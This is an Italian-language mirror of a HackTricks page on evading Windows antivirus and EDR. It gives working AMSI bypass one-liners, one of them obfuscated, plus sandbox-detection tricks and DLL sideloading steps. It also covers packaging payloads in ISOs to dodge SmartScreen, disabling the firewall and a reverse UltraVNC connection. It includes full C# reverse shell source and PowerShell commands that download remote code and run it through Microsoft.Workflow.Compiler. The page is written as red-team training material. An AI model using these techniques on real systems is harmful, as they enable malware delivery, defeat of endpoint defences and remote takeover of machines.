Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-15 17:28:13 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/av-bypass.md

35 KiB
Raw Blame History

Bypass dell'antivirus (AV)

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Questa pagina è stata scritta da @m2rc_p!

Metodologia di evasione AV

Attualmente, gli AV utilizzano diversi metodi per verificare se un file è maligno o meno, rilevazione statica, analisi dinamica e, per gli EDR più avanzati, analisi comportamentale.

Rilevazione statica

La rilevazione statica viene ottenuta segnalando stringhe maligne conosciute o array di byte in un binario o script, ed estraendo informazioni dal file stesso (ad esempio descrizione del file, nome dell'azienda, firme digitali, icona, checksum, ecc.). Ciò significa che utilizzando strumenti pubblici noti potresti essere individuato più facilmente, poiché probabilmente sono stati analizzati e segnalati come maligni. Ci sono un paio di modi per aggirare questo tipo di rilevazione:

  • Crittografia

Se crittografi il binario, non ci sarà modo per l'AV di rilevare il tuo programma, ma avrai bisogno di un tipo di caricatore per decrittare ed eseguire il programma in memoria.

  • Offuscamento

A volte tutto ciò che devi fare è cambiare alcune stringhe nel tuo binario o script per farlo passare attraverso l'AV, ma questo può essere un compito che richiede tempo a seconda di ciò che stai cercando di offuscare.

  • Strumenti personalizzati

Se sviluppi i tuoi strumenti, non ci saranno firme maligne conosciute, ma ciò richiede molto tempo e sforzo.

{% hint style="info" %} Un buon modo per verificare contro la rilevazione statica di Windows Defender è ThreatCheck. Suddivide il file in più segmenti e quindi chiede a Defender di scansionare ciascuno individualmente, in questo modo, può dirti esattamente quali sono le stringhe o byte segnalati nel tuo binario. {% endhint %}

Ti consiglio vivamente di dare un'occhiata a questa playlist di YouTube sull'evasione pratica dell'AV.

Analisi dinamica

L'analisi dinamica avviene quando l'AV esegue il tuo binario in una sandbox e osserva attività maligne (ad esempio tentativi di decrittare e leggere le password del tuo browser, eseguire un minidump su LSASS, ecc.). Questa parte può essere un po' più complicata da gestire, ma ecco alcune cose che puoi fare per eludere le sandbox.

  • Attendi prima dell'esecuzione A seconda di come è implementato, può essere un ottimo modo per eludere l'analisi dinamica dell'AV. Gli AV hanno poco tempo per scansionare i file per non interrompere il flusso di lavoro dell'utente, quindi utilizzare attese lunghe può disturbare l'analisi dei binari. Il problema è che molte sandbox degli AV possono saltare l'attesa a seconda di come è implementata.
  • Verifica delle risorse della macchina Di solito le sandbox hanno risorse molto limitate (ad esempio < 2GB di RAM), altrimenti potrebbero rallentare la macchina dell'utente. Puoi essere molto creativo qui, ad esempio controllando la temperatura della CPU o persino le velocità delle ventole, non tutto sarà implementato nella sandbox.
  • Controlli specifici della macchina Se vuoi mirare a un utente il cui computer è collegato al dominio "contoso.local", puoi controllare il dominio del computer per vedere se corrisponde a quello specificato, se non corrisponde, puoi far uscire il tuo programma.

Risulta che il nome del computer della sandbox di Microsoft Defender è HAL9TH, quindi, puoi controllare il nome del computer nel tuo malware prima della detonazione, se il nome corrisponde a HAL9TH, significa che sei all'interno della sandbox di Defender, quindi puoi far uscire il tuo programma.

fonte: https://youtu.be/StSLxFbVz0M?t=1439

Alcuni altri ottimi consigli da @mgeeky per contrastare le sandbox

Red Team VX Discord #malware-dev channel

Come abbiamo detto in precedenza in questo post, gli strumenti pubblici saranno alla fine individuati, quindi, dovresti chiederti qualcosa:

Ad esempio, se vuoi estrarre LSASS, hai davvero bisogno di usare mimikatz? O potresti utilizzare un progetto diverso meno conosciuto che estrae anche LSASS.

La risposta giusta è probabilmente la seconda. Prendendo mimikatz come esempio, è probabilmente uno dei, se non il più segnalato malware dagli AV ed EDR, mentre il progetto stesso è molto interessante, è anche un incubo lavorarci per aggirare gli AV, quindi cerca alternative per ciò che stai cercando di ottenere.

{% hint style="info" %} Quando modifichi i tuoi payload per l'evasione, assicurati di disattivare l'invio automatico dei campioni in Defender, e per favore, seriamente, NON CARICARE SU VIRUSTOTAL se il tuo obiettivo è ottenere l'evasione a lungo termine. Se vuoi verificare se il tuo payload viene rilevato da un particolare AV, installalo su una VM, cerca di disattivare l'invio automatico dei campioni, e testalo lì fino a quando non sei soddisfatto del risultato. {% endhint %}

EXE vs DLL

Sempre che sia possibile, dai sempre la priorità all'uso di DLL per l'evasione, nella mia esperienza, i file DLL sono di solito molto meno rilevati e analizzati, quindi è un trucco molto semplice da usare per evitare la rilevazione in alcuni casi (se il tuo payload ha un modo per eseguirsi come DLL ovviamente).

Come possiamo vedere in questa immagine, un Payload DLL di Havoc ha un tasso di rilevamento di 4/26 in antiscan.me, mentre il payload EXE ha un tasso di rilevamento di 7/26.

confronto di antiscan.me di un normale Payload EXE di Havoc rispetto a un normale Payload DLL di Havoc

Ora mostreremo alcuni trucchi che puoi utilizzare con i file DLL per essere molto più furtivi.

DLL Sideloading & Proxying

DLL Sideloading sfrutta l'ordine di ricerca delle DLL utilizzato dal loader posizionando sia l'applicazione vittima che i payload maligni uno accanto all'altro.

È possibile verificare i programmi suscettibili al DLL Sideloading utilizzando Siofra e lo script powershell seguente:

{% code overflow="wrap" %}

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

{% endcode %}

Questo comando produrrà l'elenco dei programmi suscettibili di DLL hijacking all'interno di "C:\Program Files\" e dei file DLL che cercano di caricare.

Ti consiglio vivamente di esplorare i programmi DLL Hijackable/Sideloadable da solo, questa tecnica è piuttosto stealthy se fatta correttamente, ma se usi programmi DLL Sideloadable noti pubblicamente, potresti essere facilmente scoperto.

Semplicemente posizionando un DLL maligno con il nome che un programma si aspetta di caricare, non caricherà il tuo payload, poiché il programma si aspetta alcune funzioni specifiche all'interno di quel DLL, per risolvere questo problema, useremo un'altra tecnica chiamata DLL Proxying/Forwarding.

Il DLL Proxying inoltra le chiamate che un programma effettua dal DLL proxy (e maligno) al DLL originale, preservando così la funzionalità del programma e consentendo di gestire l'esecuzione del tuo payload.

Sto utilizzando il progetto SharpDLLProxy di @flangvik

Questi sono i passaggi che ho seguito:

{% code overflow="wrap" %}

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

{% endcode %}

L'ultimo comando ci fornirà 2 file: un modello di codice sorgente DLL e la DLL rinominata originale.

{% code overflow="wrap" %}

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

{% endcode %}

Ecco i risultati:

Sia il nostro shellcode (codificato con SGN) che la DLL proxy hanno un tasso di rilevamento 0/26 su antiscan.me! Io chiamerei questo un successo.

{% hint style="info" %} Ti consiglio vivamente di guardare il VOD di twitch di S3cur3Th1sSh1t su DLL Sideloading e anche il video di ippsec per approfondire ulteriormente ciò di cui abbiamo discusso. {% endhint %}

Freeze

Freeze è un toolkit di payload per bypassare gli EDR utilizzando processi sospesi, chiamate di sistema dirette e metodi di esecuzione alternativi

Puoi utilizzare Freeze per caricare ed eseguire il tuo shellcode in modo furtivo.

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

{% hint style="info" %} L'evasione è solo un gioco del gatto e del topo, ciò che funziona oggi potrebbe essere rilevato domani, quindi non fare affidamento su un solo strumento, se possibile, prova a concatenare più tecniche di evasione. {% endhint %}

AMSI (Interfaccia di scansione anti-malware)

AMSI è stato creato per prevenire il "malware senza file". Inizialmente, gli AV erano in grado di scansionare solo file su disco, quindi se riuscivi in qualche modo ad eseguire payload direttamente in memoria, l'AV non poteva fare nulla per prevenirlo, poiché non aveva abbastanza visibilità.

La funzionalità AMSI è integrata in questi componenti di Windows.

  • Controllo account utente, o UAC (elevazione di EXE, COM, MSI o installazione ActiveX)
  • PowerShell (script, uso interattivo e valutazione del codice dinamico)
  • Windows Script Host (wscript.exe e cscript.exe)
  • JavaScript e VBScript
  • Macro di Office VBA

Consente alle soluzioni antivirus di ispezionare il comportamento degli script esponendo i contenuti degli script in una forma sia non crittografata che non offuscata.

L'esecuzione di IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') produrrà l'allerta seguente su Windows Defender.

Nota come antepone amsi: e quindi il percorso dell'eseguibile da cui è stato eseguito lo script, in questo caso, powershell.exe

Non abbiamo lasciato alcun file su disco, ma siamo stati comunque catturati in memoria a causa di AMSI.

Ci sono un paio di modi per aggirare AMSI:

  • Offuscamento

Poiché AMSI funziona principalmente con rilevamenti statici, modificare gli script che si tenta di caricare può essere un buon modo per evitare la rilevazione.

Tuttavia, AMSI ha la capacità di deoffuscare gli script anche se ha più livelli, quindi l'offuscamento potrebbe essere una cattiva opzione a seconda di come è fatto. Questo rende non così semplice evitare la rilevazione. Tuttavia, a volte, tutto ciò che devi fare è cambiare un paio di nomi di variabili e sarai a posto, quindi dipende da quanto qualcosa è stata segnalata.

  • Bypass AMSI

Poiché AMSI è implementato caricando una DLL nel processo powershell (anche cscript.exe, wscript.exe, ecc.), è possibile manometterlo facilmente anche eseguendo come utente non privilegiato. A causa di questa falla nell'implementazione di AMSI, i ricercatori hanno trovato più modi per evitare la scansione AMSI.

Forzare un Errore

Forzare il fallimento dell'inizializzazione di AMSI (amsiInitFailed) farà sì che nessuna scansione venga avviata per il processo corrente. Originariamente questo è stato divulgato da Matt Graeber e Microsoft ha sviluppato una firma per prevenire un utilizzo più ampio.

{% code overflow="wrap" %}

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

{% endcode %}

Tutto ciò che è servito è una riga di codice di PowerShell per rendere AMSI inutilizzabile per il processo corrente di PowerShell. Naturalmente, questa riga è stata individuata da AMSI stesso, quindi è necessaria qualche modifica per utilizzare questa tecnica.

Ecco un bypass AMSI modificato che ho preso da questo Github Gist.

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

Patch della memoria

Questa tecnica è stata scoperta inizialmente da @RastaMouse e consiste nel trovare l'indirizzo della funzione "AmsiScanBuffer" in amsi.dll (responsabile della scansione dell'input fornito dall'utente) e sovrascriverlo con istruzioni per restituire il codice per E_INVALIDARG, in questo modo, il risultato della scansione effettiva restituirà 0, che viene interpretato come un risultato pulito.

{% hint style="info" %} Si prega di leggere https://rastamouse.me/memory-patching-amsi-bypass/ per una spiegazione più dettagliata. {% endhint %}

Ci sono anche molte altre tecniche utilizzate per bypassare AMSI con powershell, controlla questa pagina e questo repository per saperne di più su di esse.

O questo script che tramite il patch della memoria patcherà ogni nuovo Powersh

Oscuramento

Ci sono diversi strumenti che possono essere utilizzati per oscurare il codice in chiaro C#, generare modelli di metaprogrammazione per compilare binari o oscurare binari compilati come:

  • InvisibilityCloak: Oscuratore C#
  • Obfuscator-LLVM: Lo scopo di questo progetto è fornire un fork open-source della suite di compilazione LLVM in grado di fornire una maggiore sicurezza del software attraverso l'oscuramento del codice e la protezione anti-manomissione.
  • ADVobfuscator: ADVobfuscator dimostra come utilizzare il linguaggio C++11/14 per generare, al momento della compilazione, codice oscurato senza utilizzare alcun strumento esterno e senza modificare il compilatore.
  • obfy: Aggiungi uno strato di operazioni oscurate generate dal framework di metaprogrammazione dei template C++ che renderà un po' più difficile la vita della persona che desidera craccare l'applicazione.
  • Alcatraz: Alcatraz è un oscuratore binario x64 in grado di oscurare vari file pe diversi tra cui: .exe, .dll, .sys
  • metame: Metame è un semplice motore di codice metamorfico per eseguibili arbitrari.
  • ropfuscator: ROPfuscator è un framework di oscuramento del codice a grana fine per linguaggi supportati da LLVM che utilizzano ROP (programmazione orientata al ritorno). ROPfuscator oscura un programma a livello di codice assembly trasformando le istruzioni regolari in catene ROP, ostacolando la nostra concezione naturale del flusso di controllo normale.
  • Nimcrypt: Nimcrypt è un cripter .NET PE scritto in Nim
  • inceptor: Inceptor è in grado di convertire gli EXE/DLL esistenti in shellcode e quindi caricarli

SmartScreen & MoTW

Potresti aver visto questa schermata quando scarichi alcuni eseguibili da Internet ed eseguendoli.

Microsoft Defender SmartScreen è un meccanismo di sicurezza destinato a proteggere l'utente finale dall'esecuzione di applicazioni potenzialmente dannose.

SmartScreen funziona principalmente con un approccio basato sulla reputazione, il che significa che le applicazioni scaricate raramente attiveranno SmartScreen, avvisando così e impedendo all'utente finale di eseguire il file (anche se il file può comunque essere eseguito cliccando su Altre informazioni -> Esegui comunque).

MoTW (Mark of The Web) è un NTFS Alternate Data Stream con il nome di Zone.Identifier che viene creato automaticamente al momento del download dei file da Internet, insieme all'URL da cui è stato scaricato.

Verifica dell'ADS Zone.Identifier per un file scaricato da Internet.

{% hint style="info" %} È importante notare che gli eseguibili firmati con un certificato di firma affidabile non attiveranno SmartScreen. {% endhint %}

Un modo molto efficace per evitare che i tuoi payload ricevano il Mark of The Web è includerli all'interno di un qualche tipo di contenitore come un ISO. Questo avviene perché il Mark-of-the-Web (MOTW) non può essere applicato a volumi non NTFS.

PackMyPayload è uno strumento che impacchetta i payload in contenitori di output per evitare il Mark-of-the-Web.

Esempio di utilizzo:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

Ecco una demo per bypassare SmartScreen confezionando payload all'interno di file ISO usando PackMyPayload

Riflessione sull'Assembly C#

Il caricamento di binari C# in memoria è noto da tempo ed è ancora un ottimo modo per eseguire i tuoi strumenti di post-exploitation senza essere scoperti dall'AV.

Poiché il payload verrà caricato direttamente in memoria senza toccare il disco, dovremo solo preoccuparci di patchare AMSI per l'intero processo.

La maggior parte dei framework C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, ecc.) fornisce già la possibilità di eseguire direttamente in memoria gli assembly C#, ma ci sono modi diversi per farlo:

  • Fork&Run

Coinvolge creare un nuovo processo sacrificale, iniettare il tuo codice malizioso di post-exploitation in quel nuovo processo, eseguire il tuo codice malizioso e, una volta terminato, terminare il nuovo processo. Questo metodo ha sia vantaggi che svantaggi. Il vantaggio del metodo fork and run è che l'esecuzione avviene al di fuori del nostro processo di impianto Beacon. Ciò significa che se qualcosa nel nostro'azione di post-exploitation va storto o viene scoperto, c'è una molto maggiore possibilità che il nostro impianto sopravviva. Lo svantaggio è che hai una maggiore possibilità di essere scoperto dalle rilevazioni comportamentali.

  • Inline

Si tratta di iniettare il codice malizioso di post-exploitation nel proprio processo. In questo modo, puoi evitare di dover creare un nuovo processo e farlo scansionare dall'AV, ma lo svantaggio è che se qualcosa va storto con l'esecuzione del tuo payload, c'è una molto maggiore possibilità di perdere il tuo beacon poiché potrebbe bloccarsi.

{% hint style="info" %} Se vuoi leggere di più sul caricamento dell'Assembly C#, controlla questo articolo https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ e il loro BOF InlineExecute-Assembly (https://github.com/xforcered/InlineExecute-Assembly) {% endhint %}

Puoi anche caricare Assembly C# da PowerShell, dai un'occhiata a Invoke-SharpLoader e al video di S3cur3th1sSh1t.

Utilizzo di Altri Linguaggi di Programmazione

Come proposto in https://github.com/deeexcee-io/LOI-Bins, è possibile eseguire codice malizioso utilizzando altri linguaggi dando all'attaccante accesso alla macchina compromessa all'ambiente dell'interprete installato sulla condivisione SMB controllata dall'attaccante.

Consentendo l'accesso ai binari dell'interprete e all'ambiente sulla condivisione SMB, è possibile eseguire codice arbitrario in questi linguaggi in memoria della macchina compromessa.

Il repository indica: Defender scansiona ancora gli script ma utilizzando Go, Java, PHP ecc. abbiamo maggiore flessibilità nel bypassare le firme statiche. Testare con script di shell inversa casuali non oscurati in questi linguaggi ha dato esito positivo.

Evasione Avanzata

L'evasione è un argomento molto complicato, a volte devi tenere conto di molte diverse fonti di telemetria in un solo sistema, quindi è praticamente impossibile rimanere completamente non rilevati in ambienti maturi.

Ogni ambiente contro cui ti trovi avrà i propri punti di forza e di debolezza.

Ti incoraggio vivamente a guardare questo talk di @ATTL4S, per ottenere una base su tecniche di evasione più avanzate.

{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}

Questo è anche un altro ottimo talk di @mariuszbit sull'Evasione in Profondità.

{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}

Vecchie Tecniche

Controlla quali parti Defender trova come maliziose

Puoi utilizzare ThreatCheck che rimuoverà parti del binario fino a quando non scopre quale parte Defender trova come maliziosa e te la dividerà.
Un altro strumento che fa la stessa cosa è avred con un'offerta web aperta del servizio in https://avred.r00ted.ch/

Server Telnet

Fino a Windows10, tutti i Windows erano dotati di un server Telnet che potevi installare (come amministratore) facendo:

pkgmgr /iu:"TelnetServer" /quiet

Avvia quando il sistema si avvia e eseguilo ora:

sc config TlntSVR start= auto obj= localsystem

Cambia la porta telnet (stealth) e disabilita il firewall:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

Scaricalo da: http://www.uvnc.com/downloads/ultravnc.html (vuoi i download bin, non l'installazione)

SULL'HOST: Esegui winvnc.exe e configura il server:

  • Abilita l'opzione Disabilita TrayIcon
  • Imposta una password in VNC Password
  • Imposta una password in View-Only Password

Successivamente, sposta il binario winvnc.exe e il file appena creato UltraVNC.ini all'interno della vittima

Connessione inversa

L'attaccante dovrebbe eseguire all'interno del suo host il binario vncviewer.exe -listen 5900 in modo da essere pronto per catturare una connessione VNC inversa. Quindi, all'interno della vittima: Avvia il demone winvnc winvnc.exe -run ed esegui winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900

ATTENZIONE: Per mantenere la stealth non devi fare alcune cose

  • Non avviare winvnc se è già in esecuzione o attiverai un popup. controlla se è in esecuzione con tasklist | findstr winvnc
  • Non avviare winvnc senza UltraVNC.ini nella stessa directory o causerà l'apertura della finestra di configurazione
  • Non eseguire winvnc -h per ottenere aiuto o attiverai un popup

GreatSCT

Scaricalo da: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

All'interno di GreatSCT:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

Ora avvia il listener con msfconsole -r file.rc e esegui il payload xml con:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

L'attuale difensore terminerà il processo molto rapidamente.

Compilare il nostro shell inverso

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

Primo shell inverso in C#

Compilalo con:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

Usalo con:

back.exe <ATTACKER_IP> <PORT>

// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# utilizzando il compilatore

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

Download e esecuzione automatica:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}

Elenco degli oscuratori C#: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Utilizzando python per costruire un esempio di iniettori:

Altri strumenti

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

Altro

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks: